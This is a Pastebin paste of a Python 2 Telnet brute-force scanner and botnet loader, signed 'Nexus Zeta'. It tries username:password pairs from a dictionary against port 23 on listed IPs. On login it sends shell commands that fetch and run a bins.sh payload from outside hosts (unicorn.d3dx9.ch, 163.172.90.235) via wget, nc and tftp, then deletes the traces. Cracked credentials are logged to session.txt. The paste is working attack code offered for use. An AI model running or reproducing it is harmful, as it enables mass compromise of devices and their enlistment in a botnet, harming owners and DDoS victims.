Advertisement
Guest User

Untitled

a guest
Jan 26th, 2017
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.10 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from termcolor import colored
  3. from Queue import *
  4. from sys import stdout
  5. import threading, sys, time, random, socket, re, os, logging
  6. if len(sys.argv) < 5:
  7.     print "Example: python %s targets.txt dictionary.txt <threads(1-100)> <ips per scan(100-1000)>" % (str(sys.argv[0]))
  8.     print "Dictionary should be in user:pass format"
  9.     sys.exit(1)
  10. print "\x1b[1;32m***********************\x1b[1;35m"
  11. print "\x1b[1;32m* Coded by Nexus Zeta *\x1b[1;35m"
  12. print "\x1b[1;32m***********************\x1b[1;35m"
  13. #ip=sys.argv[1]
  14. filename=sys.argv[2]
  15. threads = int(sys.argv[3])
  16. h0h0 = int(sys.argv[4])
  17. ips = open(sys.argv[1], "r").readlines()
  18. queue = Queue()
  19. qcount = 0
  20.  
  21. #cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; wget http://unicorn.d3dx9.ch/bins.sh -O dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper
  22. wget = "cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; wget http://unicorn.d3dx9.ch/bins.sh -O dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  23. echo = "cd /var/; rm -rf busybox filename; rm -rf busybox armv4l.sh; echo -ne 'GET /armv4l.sh HTTP/1.0\r\nHost: 163.172.90.235\r\n\r\n' | nc 163.172.90.235 80 > armv4l.sh; chmod +x *; sed -i 1,9d armv4l.sh; cp /bin/busybox ./; busybox cat armv4l.sh > armv4l.sh; chmod +x armv4l.sh; ./armv4l.sh; rm -rf busybox armv4l.sh;"
  24. tftp1 = "cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; tftp 163.172.90.235 -c get bins.sh; mv bins.sh dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  25. tftp2 = "cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; tftp -r bins.sh -g 163.172.90.235; mv bins.sh dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  26. #ftpget = "cd /var/; rm -rf armv4l; ftpget -v -u anonymous -p anonymous -P 21 163.172.90.235 armv4l armv4l; cp /bin/busybox ./; busybox cat armv4l > busybox; ./busybox; rm -rf busybox armv4l;"
  27. #curl = "cd /var/; rm -rf armv4l; curl -O http://unicorn.d3dx9.ch/bin/armv4l; cp /bin/busybox ./; busybox cat armv4l > busybox; ./busybox; rm -rf busybox armv4l;"
  28.  
  29. for ip in ips:
  30.     qcount += 1
  31.     stdout.write("\r[%d] Added to queue" % qcount)
  32.     stdout.flush()
  33.     queue.put(ip)
  34. print "\n"
  35.    
  36. def readUntil(tn, string, timeout=20):
  37.     buf = ''
  38.     start_time = time.time()
  39.     while time.time() - start_time < timeout:
  40.         buf += tn.recv(1024)
  41.         time.sleep(0.01)
  42.         if string in buf: return buf
  43.     #raise Exception('TIMEOUT!')
  44.    
  45. def worker():
  46.     try:
  47.         while True:
  48.             try:
  49.                 if queue.empty() == True:
  50.                     sys.exit(1)
  51.                 iplist = []
  52.                 h0h0h0 = h0h0 + 1
  53.                 #print "\033[33mGathering IPs\033[37m"%(ip.rstrip("\n"))
  54.                 for x in xrange(h0h0h0):
  55.                     ip = queue.get()
  56.                     iplist.append(ip)
  57.                     #print "\033[33mIP Address Obtained \033[32m%s\033[37m"%(ip.rstrip("\n"))
  58.                     queue.task_done()
  59.                 time.sleep(1.5)
  60.                 for ip in iplist:
  61.                     t = threading.Thread(target=ipthread, args=(ip.rstrip(),"null"))
  62.                     t.start()
  63.                     time.sleep(0.009)
  64.                 time.sleep(1)
  65.                 #print "\033[32mStarting Telnet Threads\033[37m"
  66.             except:
  67.                 print "\033[31mWORKER ERROR\033[37m" #will fuk up if more threads/workers then ips in list
  68.                 pass
  69.     except:
  70.         pass
  71.    
  72.  
  73. def attempt(IP,UserName,Password):
  74.         try:
  75.             ip=IP
  76.             username=UserName
  77.             password=Password
  78.             tn = socket.socket()
  79.             tn.settimeout(5)
  80.             tn.connect((IP, 23))
  81.         #except Exception:
  82.             #print "[%s] Timeout"%(count)
  83.         #try:
  84.             time.sleep(0.01)
  85.             hoho = ''
  86.             hoho += readUntil(tn, ":")
  87.             if "ogin" in hoho or "sername" in hoho:
  88.                 tn.send(UserName + "\n")
  89.         except Exception:
  90.             tn.close()
  91.         try:
  92.             hoho = ''
  93.             hoho += readUntil(tn, ":")
  94.             if "assword" in hoho:
  95.                 tn.send(Password + "\n")
  96.                 tn.send("wget\n")
  97.                 tn.send("tftp\n")
  98.                 tn.send("ifconfig\n")
  99.                 time.sleep(3)
  100.         except Exception:
  101.             tn.close()
  102.         try:
  103.             mp = ''
  104.             mp += tn.recv(1024)
  105.             if "#" in mp or "$" in mp or "@" in mp or ">" in mp:
  106.             #if "addr" in mp or "Usage" in mp or "wget:" in mp or "tftp:" in mp or "ifconfig:" in mp or "$" in mp or "#" in mp:
  107.                 tn.send(wget + "\n")
  108.                 tn.send(echo + "\n")
  109.                 tn.send(tftp1 + "\n")
  110.                 tn.send(tftp2 + "\n")
  111.                 #tn.send(ftpget + "\n")
  112.                 #tn.send(curl + "\n")
  113.                 print '\x1b[1;32mFound \x1b[1;31m '+IP+':23 \x1b[1;35m'+UserName+':\x1b[1;36m'+Password+'\x1b[1;33m'
  114.                 f = open('session.txt', 'a')
  115.                 f.write("%s:23 %s:%s\n" % (IP, UserName, Password))
  116.                 f.close()
  117.                 time.sleep(15)
  118.                 tn.close()             
  119.         except Exception:
  120.             tn.close()
  121.  
  122. def ipthread(ip,null):
  123.     fd = open(filename, "r")
  124.     for line in fd.readlines():
  125.     username, password = line.strip().split(":")
  126.     t = threading.Thread(target=attempt, args=(ip,username,password))
  127.     t.start()
  128.     time.sleep(0.3)
  129.     fd.close()
  130.            
  131. for g in xrange(threads):
  132.     t = threading.Thread(target=worker)
  133.     t.setDaemon(True)
  134.     t.start()
  135.     time.sleep(0.001)
  136.    
  137. queue.join()
  138. print "Finished!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement